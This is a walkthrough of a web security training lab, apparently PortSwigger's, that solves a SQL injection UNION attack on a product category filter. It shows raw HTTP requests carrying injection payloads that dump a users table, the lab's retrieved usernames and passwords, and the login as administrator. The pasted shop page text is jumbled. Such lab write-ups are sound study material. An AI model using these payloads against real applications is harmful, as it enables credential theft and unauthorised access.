

SQL injection UNION attack, retrieving data from other tables

Lab

This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called `users`, with columns called `username` and `password`.

To solve the lab, perform an [SQL injection UNION](#) attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user.

Dial up an injection point

Request	
Pretty	Raw
1	GET /filter?category=Pets' HTTP/1.1
2	Host: 0ae4009604e918a3c0f7651900ec00d1.web-security-academy.net
3	Cookie: session=GtO9axgsHWrxBFHJICd0K4dXdWfpModM
4	Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"

Response	
Pretty	Raw
1	HTTP/1.1 500 Internal Server Error
2	Content-Type: text/html; charset=utf-8
3	Connection: close
4	Content-Length: 2469

Start fleshing out the query

Pretty	Raw	Hex	Hackvector
1	GET /filter?category=Pets'+union+select+'username','password' -- HTTP/1.1		
2	Host: 0ae4009604e918a3c0f7651900ec00d1.web-security-academy.net		

If the query is still showing info flesh out somemore

Request	
Pretty	Raw
1	GET /filter?category=Pets'+union+select+username,password+from+users -- HTTP/1.1
2	Host: 0ae4009604e918a3c0f7651900ec00d1.web-security-academy.net

Copying the URL and pasting into browser

Pets' union select username

Refine your search:

All

Clothing, shoes and accessories

Corporate gifts

Food & Drink

P

carlos

haqzh1kbo6x8i8a6rl0c

Babbage Web Spray

Webs can be so unpredictable, falling apart and crashing to the ground just when you need them. Our solvent will keep any web fully functional for as long as you need it to be. The need to fear eggs being laid overnight in your leftover pizza. The concerns of takeaway. Easy to use, just wait for Mr. Spider to do his daily rounds, shake the spider returns, you don't want him getting stuck and losing a leg in an effort to use his adhesive qualities in order for it to be a complete working bug catcher. Babbage is effective against mice, rats, and even the odd curious raccoon. And there's more, if not over ON WET HAIR. The solvent will clump and become permanent. For such a simple solution, it's a neighborhood, and you'll never be short of visitors who will want to see your v

More Than Just Birdsong

There was a time when the only decorations you would see on the wires of a birdcage were the birds themselves. You were lucky. We have come up with a more desirable way to liven up those resistant materials ensuring they are perfectly safe even following a surge, or a drop. The crotchets and quavers so you can create a real musical score. You choose the notes. Keep the birds whistling a happy tune throughout the stark winter days. Please use your knowledge you are doing your own little bit for planet earth. Be the trendsetter.

Pest Control Umbrella

We recently discovered, by accident, that vermin and all manner of pets and pests are attracted to long, pointy ones. It is very hard these days to get hold of an umbrella that is both effective and manufacturing our unique Pest Control Umbrella, the only genuine umbrella company. No other companies are allowed to remotely hint that their umbrellas can be used to rid your home of pests. No match on any other form of pest control, but not if you use a different umbrella. Watch the creatures follow your lead. By purchasing this highly effective product, your investment now will pay great dividends in the future for you and your family.

wiener

e5frnjw25u9z5kzx0a9j

administrator

ii6igb57ytslbt22kgs3

Pet Experience Days

Login and solve the lab

Congratulations, you solved the lab!

My Account

Your username is: administrator

Email

Update email